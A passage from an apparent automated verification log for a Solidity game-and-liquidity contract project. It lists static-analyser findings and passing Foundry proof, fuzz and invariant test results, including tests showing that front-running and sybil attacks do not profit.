calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PvPPad.sol:192: PvPPad.fundGames() (src/PvPPad.sol#192-222) has external calls inside a loop: IPadGame(games[i_scope_0]).fundPot{value: share}() (src/PvPPad.sol#219)\n[low/medium] calls-loop at src/PvPPad.sol:192: PvPPad.fundGames() (src/PvPPad.sol#192-222) has external calls inside a loop: (live,p) = IPadGame(game).isLiveForKing() (src/PvPPad.sol#202)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#611)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#612)\n[low/medium] calls-loop at src/PadLiquidity.sol:465: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#465-487) has external calls inside a loop: current = IArbSys(address(0x64)).arbBlockNumber() (src/PadLiquidity.sol#478)\n[low/medium] calls-loop at src/PadLiquidity.sol:465: PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#465-487) has external calls inside a loop: this.collectPool{gas: COLLECT_GAS}(idx,payee) (src/PadLiquidity.sol#469-486)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#613)\n[low/medium] calls-loop at src/PadGame.sol:597: PadGame._resolveRoll(uint256,address) (src/PadGame.sol#597-645) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#","passed":true},{"durationMs":623,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/PadLiquidity.sol:201: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/PvPPad.sol:11: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/KingOfThePad.sol:115: ETH transferred without address checks (3 places)\n[high] incorrect-caret-operator at src/libs/PadLib.sol:53: Incorrect use of caret operator\n[high] msg-value-in-loop at src/PvPPad.sol:215: Loop contains `msg.value`\n[high] reentrancy-state-change at src/KingOfThePad.sol:63: Reentrancy: State change after external call (20 places)\n[high] unsafe-casting at src/PadLiquidity.sol:289: Unsafe Casting of integers (3 places)\n[low] costly-loop at src/PadGame.sol:224: Costly operations inside loop (4 places)\n[low] large-numeric-literal at src/KingOfThePad.sol:19: Large Numeric Literal (30 places)\n[low] literal-instead-of-constant at src/KingOfThePad.sol:73: Literal Instead of Constant (57 places)\n[low] missing-inheritance at src/KingOfThePad.sol:16: Missing Inheritance (4 places)\n[low] require-revert-in-loop at src/PadLiquidity.sol:440: Loop Contains `require`/`revert`\n[low] state-change-without-event at src/PadGame.sol:328: State Change Without Event (5 places)\n[low] state-no-address-check at src/PadGame.sol:158: Address State Variable Set Without Checks (4 places)\n[low] state-variable-could-be-immutable at src/PadLiquidity.sol:109: State Variable Could Be Immutable (3 places)\n[low] storage-array-length-not-cached at src/PadGame.sol:313: Storage Array Length not Cached\n[low] unchecked-return at src/PadGame.sol:341: Unchecked Return (8 places)\n[low] uninitialized-local-variable at src/PadGame.sol:224: Uninitialized Local Variable (7 places)\n[low] unsafe-erc20-operation at src/PadGame.sol:286: Unsafe ERC20 Operation (5 places)\n[low] unused-public-function at src/PadGame.sol:439: Public Function Not Used Internally (3 places)","passed":true},{"durationMs":26032,"exitCode":0,"name":"proof f2032eaae82b","output":"Compiling 77 files with Solc 0.8.26\nSolc 0.8.26 finished in 25.10s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-0dd0842b/Proof_f2032eaae82b.t.sol:ReviewFrontRunTest\n[PASS] test_heldFrontRunAcrossAllConversionChunksMustNotProfit() (gas: 145494068)\nLogs:\n  curve ETH to convert: 801000000000000000\n  ETH converted: 0\n  IMD received by the game (front-run): 0\n  attacker ETH after: 9813471549208879060\n  attacker ETH before: 10000000000000000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 104.07ms (54.76ms CPU time)\n\nRan 1 test suite in 105.65ms (104.07ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":21124,"exitCode":0,"name":"proof d74f26e21279","output":"2026-10-15T13:21:24.482739Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-ZTGTfS/repo/test/imd-proof-0dd0842b/Proof_f2032eaae82b.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 20.46s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-4635965b/Proof_d74f26e21279.t.sol:ReviewNestedUnlockTest\n[PASS] test_nestedUnlockCallerCannotStarveConversion() (gas: 514168)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.25ms (345.76µs CPU time)\n\nRan 1 test suite in 6.36ms (5.25ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":21361,"exitCode":0,"name":"proof 0183622ab83e","output":"2026-10-15T13:21:45.603832Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-ZTGTfS/repo/test/imd-proof-4635965b/Proof_d74f26e21279.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 20.66s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-308f8609/Proof_0183622ab83e.t.sol:ReviewDustTest\n[PASS] test_dustVenueProgressMustNotPostponeFallbackForever() (gas: 71610248)\nLogs:\n  remaining ETH after ten days: 431999999999948067\n  converted ETH after ten days: 51933\n  IMD received after ten days: 48884\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 81.96ms (24.30ms CPU time)\n\nRan 1 test suite in 83.24ms (81.96ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":21778,"exitCode":0,"name":"proof ff0950e55a7c","output":"2026-10-15T13:22:07.067181Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-ZTGTfS/repo/test/imd-proof-308f8609/Proof_0183622ab83e.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 21.02s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-3c1240c2/Proof_ff0950e55a7c.t.sol:ReviewClockTest\n[PASS] test_untouchedGameStillGraduatesIntoCoinImdPoolOnHealthyVenue() (gas: 2440138)\nLogs:\n  converted ETH: 1800000000000000\n  IMD received: 1781953302341400\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 58.22ms (1.14ms CPU time)\n\nRan 1 test suite in 59.17ms (58.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"2952b8ff67bd81ec75aed6cdd800dec3a3c11c9dff09e5f3b7e539b71829ba91","verifiedTreeHash":"26abf727afae17f2c0585f3c33b739d22083b807","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":149212,"exitCode":0,"name":"build","output":"Compiling 96 files with Solc 0.8.26\nSolc 0.8.26 finished in 149.10s\nCompiler run successful!\n","passed":true},{"durationMs":5919,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 142005)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 779485)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3622877)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1372189)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 46.81ms (3.61ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1039588)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257951)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 7552812)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1118559)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 938135)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 870058)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9416623)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 595367)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9770705)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1057613)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1010910)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3963506)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35152)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 148166)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 51.28ms (23.75ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 2995719)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() (gas: 10657368)\n[PASS] test_resolveBatchClampsToSixteenAndLowGasStopsSafely() (gas: 20102889)\n[PASS] test_tenBlocksPerSecondSixtySecondRollerNeverExpiresWithResolver() (gas: 6286621)\n[PASS] test_upkeepSeedBountyGoesToCallerAndNotPad() (gas: 1926233)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 67.69ms (27.49ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 42142554)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12188384\n  Later openPad including hook and genesis gas: 774386\n  Combined manifest and later opening gas: 12962770\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 68.44ms (68.28ms CPU time)\n\nRan 7 tests for test/AuditV3.t.sol:AuditV3KingTest\n[PASS] test_failedPoolRequiresThreeDistinctL2BlocksThenAnyoneCanRecoverIt() (gas: 2652956)\n[PASS] test_failedSettlementRollsBackEarlierHealthyPoolPayments() (gas: 7027031)\n[PASS] test_firstCrownAlsoRejectsUnlockedManager() (gas: 407099)\n[PASS] test_gasStarvedBidRevertsWithoutChangingCrownOrPoolHealth() (gas: 1176660)\n[PASS] test_outgoingKingGetsLargeTokenFeesInKindAndNextKingGetsNoStash() (gas: 2484224)\n[PASS] test_sixteenPoolsBothCurrenciesAndGasEatingKingFitSettlementBudget() (gas: 10164114)\nLogs:\n  16 real pools both currencies, rejecting king, bid gas used: 4752792\n\n[PASS] test_unlockCallbackCannotTakeCrownOrDistribute() (gas: 1913308)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 186.20ms (146.54ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 2119062)\n[PASS] test_claimableWinner() (gas: 2921499)\n[PASS] test_conservationOfEth() (gas: 6041969)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 43172)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2477687)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2534818)\n[PASS] test_deathAndAllDeadEnd() (gas: 1997190)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1636392)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2574127)\n[PASS] test_failedPushBecomesClaimable() (gas: 1622203)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 5527376)\n[PASS] test_finalizeRanksAndPays() (gas: 4880733)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1845603)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 120352409)\n[PASS] test_finalizerFeeCapped() (gas: 12922624)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1882762)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 402636)\n[PASS] test_fundPotOnlyPad() (gas: 44007)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 21472067)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3714760)\n[PASS] test_graduateOnlyFromGame() (gas: 73156)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 8372440)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1574907)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 4307012)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9863196)\n[PASS] test_resolveBatchIncludesTenRolls() (gas: 7530549)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2439060)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 2031399)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1919768)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1863731)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1529666)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1461282)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 3242811)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1616740)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 3110164)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 225.26ms (179.93ms CPU time)\n\nRan 1 test for test/V3CarryProperties.t.sol:V3CarryPropertiesTest\n[PASS] testFuzz_onlyUnusedReleaseAllowanceLeavesCarryAtFinalization(uint256,uint256,uint256) (runs: 128, μ: 11013476, ~: 9804834)\nLogs:\n  Bound result 0\n  Bound result 54570121555562140\n  Bound result 452421949995271122\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 408.19ms (380.74ms CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 83918171, ~: 80662618)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2741912)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12317228)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 68203109)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4943186)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 50961407)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.20s (1.21s CPU time)\n\nRan 7 tests for test/CrownSettlement.t.sol:CrownSettlementTest\n[PASS] test_bidderCannotSteerCursorToDivertReignFees() (gas: 6364219)\n[PASS] test_brokenPoolSkippedByTwoCrownsPaysTheEarliestUnsettledReign() (gas: 2410300)\n[PASS] test_extraBidGasSettlesMorePoolsInOneBid() (gas: 19856245)\nLogs:\n  takeCrown gas, sixty real pools fully settled: 7767448\n\n[PASS] test_firstCrownOpensNoReignAndPaysPreCrownFeesToTheFirstKing() (gas: 714463)\n[PASS] test_nonKingCannotSettleOrCloseAReign() (gas: 459684)\n[PASS] test_poolsBeyondTheBidGasStayOwedToTheOutgoingKing() (gas: 23966178)\nLogs:\n  pools settled by a minimum-gas bid, sixty real pools: 40\n\n[PASS] test_settlementRevertsBelowSixteenPoolsAndSucceedsAbove() (gas: 6152028)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 1.36s (2.49s CPU time)\n\nRan 5 tests for test/V3FailureEdges.t.sol:V3GameFailureEdgesTest\n[PASS] testFuzz_everyResolutionWindowOffsetPreservesTheTip(uint256) (runs: 1000, μ: 1782627, ~: 1791973)\nLogs:\n  Bound result 97\n\n[PASS] test_drawBountyCallbackCannotCaptureAgainOrAdvanceExtraSeats() (gas: 2062501)\n[PASS] test_finalizeBatchFailureRollsBackTipsAndPartialResolutionUntilPermissionlessProgress() (gas: 43514758)\n[PASS] test_optionalDistributeAndBurnMayBothExhaustCapsWithoutRevertingEntryOrRoll() (gas: 3687477)\nLogs:\n  entry with both liquidity upkeep stipends exhausted: 1354396\n  roll with both liquidity upkeep stipends exhausted: 1454127\n\n[PASS] test_resolverDebtSurvivesFinalizationGraduationAndRejectedClaim() (gas: 3136287)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.98s (1.99s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20635517)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26745053)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 17025)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16810219)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17778092)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8573835)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 18353261)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16479057)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16427016)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.98s (359.55ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16417561, ~: 16417554)\nLogs:\n  Bound result 19990000000009990145\n  Bound result 49\n  Bound result 800\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16734410, ~: 16734465)\nLogs:\n  Bound result 19001746595220062660\n  Bound result 28053449778584354486\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 18789872, ~: 15799830)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16284575, ~: 16284601)\nLogs:\n  Bound result 49990000000000009601\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12309484, ~: 11297042)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37792, ~: 37819)\nLogs:\n  Bound result 348370641196807289561085429\n  Bound result 2721403541023640003\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21796, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38391, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15579993, ~: 14949986)\nLogs:\n  Bound result 9\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.10s (12.78s CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20464485)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11191889)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.25s (68.80ms CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107524)\n[PASS] test_bindingsAreOneShot() (gas: 87591)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18355823)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719380)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33191)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19554319)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965257)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16600991)\n[PASS] test_launchValidatesStrings() (gas: 15892604)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835641)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869431)\n[PASS] test_openPadOnlyOnce() (gas: 7907774)\n[PASS] test_openPadRejectsBadSalt() (gas: 203584)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135355)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8290913)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 37951859)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006246)\n[PASS] test_upkeepForOnlyGames() (gas: 8052699)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 2.25s (471.18ms CPU time)\n\nRan 34 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10621173, ~: 9933965)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 71240765, ~: 71225189)\nLogs:\n  Bound result 59999900000000004260\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2892324)\n[PASS] test_anchorBandBoundsCumulativeWalkAndDecaysForAGenuineMove() (gas: 70618272)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5457110)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3475704)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3169002)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7755635)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 3250554)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 1091938)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70788359)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3157459)\n[PASS] test_dustFillsDoNotRefreshTheStallClock() (gas: 71689753)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4813841)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67823)\n[PASS] test_failedVenueAttemptDoesNotConsumeInterval() (gas: 70431126)\n[PASS] test_frontRunBundledWithFinalizeCannotLowerTheAnchorAndLoses() (gas: 215390199)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4653088)\n[PASS] test_heldFrontRunAcrossAllChunksIsRefusedAndLoses() (gas: 85893851)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4729161)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6853)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 70405252)\n[PASS] test_nestedUnlockCallerIsRejectedAndHonestChunkConverts() (gas: 70813418)\n[PASS] test_noReturnIMDStillSettlesGraduationBurnAndFees() (gas: 3312906)\n[PASS] test_observationOnlyRaisesTheAnchorAndEveryTouchRefreshesIt() (gas: 5820729)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 71221321)\n[PASS] test_realProgressAboveFloorRefreshesClockButSevenDayCapBounds() (gas: 72595332)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1883341)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 84699075)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 164715969)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3333127)\nLogs:\n  Two-hop burn gas: 267453\n\n[PASS] test_untouchedGameStartsItsClockOnFirstTouchAndGraduatesIntoIMD() (gas: 2736931)\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 71289047)\nLogs:\n  Conversion upkeep gas: 458150\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2985553)\nSuite result: ok. 34 passed; 0 failed; 0 skipped; finished in 2.25s (3.94s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 23616\n  Bound result 2995000000000000064\n  Bound result 376138608389625840\n  Bound result 31156961613405421\n  Bound result 13273\n  Bound result 692\n  Bound result 138\n  Bound result 160\n  Bound result 296\n  Bound result 1994836\n  Bound result 17\n  Bound result 91\n  Bound result 2995000002170665077\n  Bound result 100\n  Bound result 4\n  Bound result 6\n  Bound result 0\n  Bound result 1101811521551071131\n  Bound result 0\n  Bound result 91\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.70s (2.67s CPU time)\n\nRan 6 tests for test/AuditV3CarryUpkeep.t.sol:AuditV3CarryUpkeepTest\n[PASS] test_fiveWalletCarryChainOnlyPullsUnusedCapAtFinalize() (gas: 50476765)\n[PASS] test_fiveWalletNoRollChainNeverTakesCarry() (gas: 5337200)\n[PASS] test_ownGasEstimateEntryAndRollWithForeignDraw() (gas: 